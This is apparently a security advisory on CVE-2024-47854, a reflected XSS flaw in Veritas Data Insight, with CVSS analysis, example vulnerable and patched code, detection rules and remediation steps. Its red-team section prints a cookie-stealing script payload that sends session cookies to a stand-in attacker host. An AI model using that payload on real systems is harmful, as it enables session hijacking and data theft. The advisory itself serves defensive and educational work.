CVE-2024-47854

Executive Summary

CVE-2024-47854 is a stored/reflected Cross-Site Scripting (XSS) vulnerability in Veritas Data Insight versions prior to 7.1. An unauthenticated remote attacker can inject arbitrary web script into an HTTP request. If an authenticated user executes the crafted request (e.g., by clicking a malicious link), the script executes in the context of the user's session, potentially leading to session hijacking, data theft, or further compromise. The vulnerability has a CVSS score of 6.1 (Medium) and no known public exploit code or active exploitation in the wild (EPSS 0.0%). No supply chain package is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of data
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS is moderate, the lack of authentication requirement and the potential for session hijacking elevate the risk for organizations using Veritas Data Insight.

Deep Dive & Mechanics

The vulnerability resides in the HTTP request handling of Veritas Data Insight. The application fails to properly sanitize user-supplied input before reflecting it back in HTTP responses. An attacker can craft a malicious URL containing JavaScript payloads. When an authenticated user accesses this URL, the payload executes in the user's browser, bypassing the same-origin policy due to the reflection.

Attack Flow:

1. Attacker identifies a vulnerable endpoint that reflects input (e.g., a search parameter or error message).
2. Attacker crafts a URL like: https://victim-veritas-instance/vulnerable_endpoint?param=<script>alert('XSS')</script>
3. Attacker delivers the link via phishing email, social media, or other means.
4. Authenticated user clicks the link while logged into Veritas Data Insight.
5. The server reflects the unsanitized script in the response.
6. The browser executes the script, allowing the attacker to steal cookies, perform actions on behalf of the user, or deface the page.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-7.1):

# Example of vulnerable Python/Flask-like handler
@app.route('/search')
def search():
    query = request.args.get('q', '')
    # Direct reflection without sanitization
    return f"<h1>Search results for: {query}</h1>"

Patched Code (7.1+):

# Patched version with output encoding
import html
@app.route('/search')
def search():
    query = request.args.get('q', '')
    safe_query = html.escape(query)
    return f"<h1>Search results for: {safe_query}</h1>"

The patch introduces proper HTML entity encoding (e.g., < becomes <) to neutralize script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Veritas Data Insight instance (version < 7.1)
• A web browser with developer tools
• A listener to capture exfiltrated data (e.g., a simple HTTP server)

Proof-of-Concept (No public exploit code available):

1. Identify a reflected parameter (e.g., ?error=, ?search=, ?msg=).
2. Inject a basic payload:

   https://target/data-insight/vulnerable?error=<script>alert('XSS')</script>
   

3. If an alert box appears, the vulnerability is confirmed.
4. For session hijacking, use a payload that sends cookies to an attacker-controlled server:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. URL-encode the payload and deliver via phishing.

Blue Team (Defensive)

Lab Setup:

• Deploy a patched Veritas Data Insight 7.1+ in a sandboxed environment.
• Use a web application firewall (WAF) with XSS rules.
• Monitor logs for suspicious parameters containing <script>, onerror=, javascript:.

Detection Steps:

1. Review HTTP access logs for unusual query strings with HTML/JavaScript tags.
2. Use browser developer tools to inspect reflected content.
3. Simulate attacks using tools like Burp Suite or OWASP ZAP.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script>, onerror=, javascript: in query parameters.
  • Outbound connections to unknown IPs/domains from the Veritas server (potential data exfiltration).
• Host IOCs:
  • Unusual entries in web server logs with encoded JavaScript.
  • Modified or unexpected cookies (e.g., sessionid=malicious_value).
• File IOCs:
  • No specific file-based IOCs known.

Detection Engineering

YARA Rule

rule CVE_2024_47854_XSS_Reflected {
    meta:
        description = "Detects reflected XSS attempts against Veritas Data Insight"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-47854"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*['"]?[^'"]*['"]?/i
        $xss3 = /javascript\s*:\s*/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Veritas Data Insight
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with XSS payloads targeting Veritas Data Insight
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47854 - Reflected XSS in Veritas Data Insight"; flow:to_server,established; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-47854 - XSS via onerror"; content:"onerror="; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-47854 - XSS via javascript"; content:"javascript:"; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Veritas Data Insight 7.1 or later (the patched version).
2. If immediate upgrade is not possible, implement a Web Application Firewall (WAF) with rules to block XSS payloads.
3. Restrict access to the Data Insight web interface to trusted IPs only.

Long-Term Measures:

• Enforce input validation and output encoding for all user-supplied data.
• Conduct regular security audits and penetration testing.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Monitor for any suspicious activity using the provided detection rules.

Workaround (if patching is delayed):

• Disable the vulnerable endpoint if it is not critical.
• Use reverse proxy with request filtering (e.g., ModSecurity with OWASP CRS).

Valters IT
DevSecOps & Cyber Threat Intelligence